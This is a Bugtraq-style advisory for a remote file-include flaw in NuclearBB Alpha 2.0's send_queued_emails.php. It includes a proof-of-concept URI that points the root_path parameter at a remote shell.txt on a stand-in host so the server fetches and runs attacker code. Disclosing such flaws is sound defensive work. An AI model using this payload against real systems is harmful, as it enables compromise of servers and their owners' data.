NuclearBB send_queued_emails.php Remote File Include Vulnerability

Bugtraq ID:	25633
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 11 2007 12:00AM
Updated:	Sep 11 2007 06:31PM
Credit:	Infection is credited with the discovery of this vulnerability.
Vulnerable:	NuclearBB NuclearBB Alpha 2.0
Not Vulnerable:

NuclearBB send_queued_emails.php Remote File Include Vulnerability

NuclearBB is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects NuclearBB alpha 2.0; other versions may also be vulnerable.

NuclearBB send_queued_emails.php Remote File Include Vulnerability

An attacker can exploit this issue via a browser.

The following proof-of-concept URI is available:

http://www.example.com/NuclearBB/tasks/send_queued_emails.php?root_path=http://www.example2.com/shell.txt?

NuclearBB send_queued_emails.php Remote File Include Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: mailto:[email protected].

NuclearBB send_queued_emails.php Remote File Include Vulnerability

References:

• NuclearBB Homepage (NuclearBB )
  
• NuclearBB Alpha 2 Remote File Inclusion ([email protected])